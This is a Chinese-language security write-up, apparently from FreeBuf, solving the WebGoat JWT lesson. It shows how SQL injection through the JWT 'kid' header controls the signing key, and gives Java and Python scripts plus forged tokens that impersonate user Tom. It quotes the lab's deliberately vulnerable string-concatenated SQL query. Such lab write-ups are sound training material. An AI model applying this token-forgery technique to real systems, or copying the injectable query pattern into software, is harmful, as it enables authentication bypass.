ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
}
return null;
}
}).parseClaimsJws(token);
if (errorMessage[0] != null) {
return trackProgress(failed().output(errorMessage[0]).build());
}
Claims claims = (Claims) jwt.getBody();
String username = (String) claims.get("username");
if ("Jerry".equals(username)) {
return trackProgress(failed().feedback("jwt-final-jerry-account").build());
}
if ("Tom".equals(username)) {
return trackProgress(success().build());
} else {
return trackProgress(failed().feedback("jwt-final-not-tom").build());
}
} catch (JwtException e) {
return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}
}
重点关注resetVotes方法:
校验参数token是否为空
解析token:
Jwts.parser().setSigningKeyResolver(自定义方法获取签名KEY).parseClaimsJws(token);
自定义方法:
从JwsHeader中获取“kid”直接插入sql查询语句中,存在sql injection,将查看结果返回作为KEY进行解析。
获取解析后的JWT body中的username,若为Tom,则成功!
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
@PostMapping("delete")
public @ResponseBody
AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return trackProgress(failed().feedback("jwt-invalid-token").build());
} else {
try {
final String[] errorMessage = {null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
try {
Connection connection = DatabaseUtilities.getConnection(webSession);
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
}
return null;
}
}).parseClaimsJws(token);
if (errorMessage[0] != null) {
return trackProgress(failed().output(errorMessage[0]).build());
}
Claims claims = (Claims) jwt.getBody();
String username = (String) claims.get("username");
if ("Jerry".equals(username)) {
return trackProgress(failed().feedback("jwt-final-jerry-account").build());
}
if ("Tom".equals(username)) {
return trackProgress(success().build());
} else {
return trackProgress(failed().feedback("jwt-final-not-tom").build());
}
} catch (JwtException e) {
return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}
收集到的信息:
1.JWT中原始数据: “kid”: “webgoat_key”
sql语句:”SELECT key FROM jwt_keys WHERE id = ‘” + kid + “‘”;
那么就是说明,jwt_keys表中有一个id的值是:“webgoat_key”
2.Jwts.parser().setSigningKeyResolver(自定义方法获取签名KEY).parseClaimsJws(token);//通过自定义方法获取签名key然后对token进行JWT解析
3.JWT中username要等于Tom
思路:
篡改JWT:
利用sql inject,控制查询语句的查询值来控制JWT的密钥,从而伪造JWT,完成任务。
步骤:
1.从收集的信息中可以构造出sql语句 select id from jwt_keys where id =’webgoat_key’;这个查询结果会输出’webgoat_key’,所以在https://jwt.io/#debugger篡改JWT中的”kid“: “y’ and 1=2 union select id from jwt_keys where id =’webgoat_key”;签名设置为webgoat_key
2.在payload的username篡改成Tom
3.提交篡改后的JWT进行验证。
失败了。那就来跟踪一下代码执行的情况,定位问题吧。

sql injection的payload确实进来了。
执行的结果也和我们设想的一样,目前没有问题。所以问题就在签名部分没有通过。(值得注意:尽管签名校验没通过,但sql injection的payload已经执行)

Java版本
import java.util.ArrayList;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
public class JWTcryptotest {
public static final String JWT_PASSWORD = "webgoat_key";
#public static byte[] JWT_PASSWORD = TextCodec.BASE64.decode("webgoat_key");//这样也可以,得出的密文一样。
public static void createJWTToken() {
Claims claims = Jwts.claims();
claims.put("iat", 1529569536);
claims.put("iss", "WebGoat Token Builder");
claims.put("exp", 1618905304);
claims.put("aud", "webgoat.org");
claims.put("sub", "[email protected]");
claims.put("username", "Tom");
claims.put("Email", "[email protected]");
ArrayList<String> roleList = new ArrayList<String>();
roleList.add("Cat");
claims.put("Role", roleList);
String token = Jwts.builder().setClaims(claims).setHeaderParam("typ", "JWT")
.setHeaderParam("kid", "123' and 1=2 union select id FROM jwt_keys WHERE id='webgoat_key")
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS256, JWT_PASSWORD).compact();
System.out.println(token);
}
public static void main(String[] args) {
JWTcryptotest.createJWTToken();
}
}
eyJ0eXAiOiJKV1QiLCJraWQiOiIxMjMnIGFuZCAxPTIgdW5pb24gc2VsZWN0IGlkIEZST00gand0X2tleXMgV0hFUkUgaWQ9J3dlYmdvYXRfa2V5IiwiYWxnIjoiSFMyNTYifQ.eyJpYXQiOjE1Mjk1Njk1MzYsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.HThQlDWlvbshn4BnzQ_2RU1DVmYl4dnfiEJmPWpA0b4
这样就通过了。
但在jwt.io中未能通过
关于python脚本的方式,根据调试我们也可以知道,在”kid”: “webgoat_key”的时候,签名key是:”qwertyqwerty1234″,使用如下脚本得出JWT:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:jack
# datetime:2019-09-26 17:06
# software: PyCharm
import jwt
import base64
# payload
token_dict = {
"iat": 1529569536,
"iss": "WebGoat Token Builder",
"exp": 1618905304,
"aud": "webgoat.org",
"sub": "[email protected]",
"username": "Tom",
"Email": "[email protected]",
"Role": ["Cat"]
}
key = base64.b64decode("qwertyqwerty1234")
# headers
headers = {
"typ": "JWT",
# "kid": "123' and 1=2 union select id FROM jwt_keys WHERE id='webgoat_key",
"kid": "webgoat_key",
"alg": "HS256"
}
# 调用jwt库,生成json web token
jwt_token = jwt.encode(token_dict, # payload, 有效载体
key, # 进行加密签名的密钥
algorithm="HS256", # 指明签名算法方式, 默认也是HS256
headers=headers # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
).decode('ascii') # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str
print(jwt_token)
签名:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6IndlYmdvYXRfa2V5In0.eyJpYXQiOjE1Mjk1Njk1MzYsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.6cuviRab-boP6raqinzKYuUmHUM4PpPWsnXAQMv3738
放到请求包中也能通过,说明签名没问题。
jwt.io中也通过了。
但将key设成:webgoat_key的时候,会抛出错误:
这个时候你可能会问,为什么key要先做base64 decode处理?
因为下方代码块中的:
return TextCodec.BASE64.decode(rs.getString(1));
final String[] errorMessage = {null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
try {
Connection connection = DatabaseUtilities.getConnection(webSession);
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
System.out.println(rs.getString(1));
System.out.println(TextCodec.BASE64.decode(rs.getString(1)));
return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
}
return null;
}
}).parseClaimsJws(token);
总结:
1.对JWT,signature key爆破和篡改JWT的写法需要根据源码来相应设置。
2.对JWT,signature key爆破可尝试直接明文和base64encode两种(不排除其他种可能);上文例子中,对明文key进行base64decode后作为signature key来签名,这种情况非常少见。
3.refresh_token越权篡改他人access_token问题值得注意,refresh_token出现频率低,测试人员漏测几率高。
4.可在JWT的headers,payload部分的参数值中插入常见漏洞相关payload去尝试,尽管我们不知道signature key。
本篇到此结束,感谢您的翻阅,期待您的宝贵意见。
*本文作者:DSO观星市场部,转载请注明来自FreeBuf.COM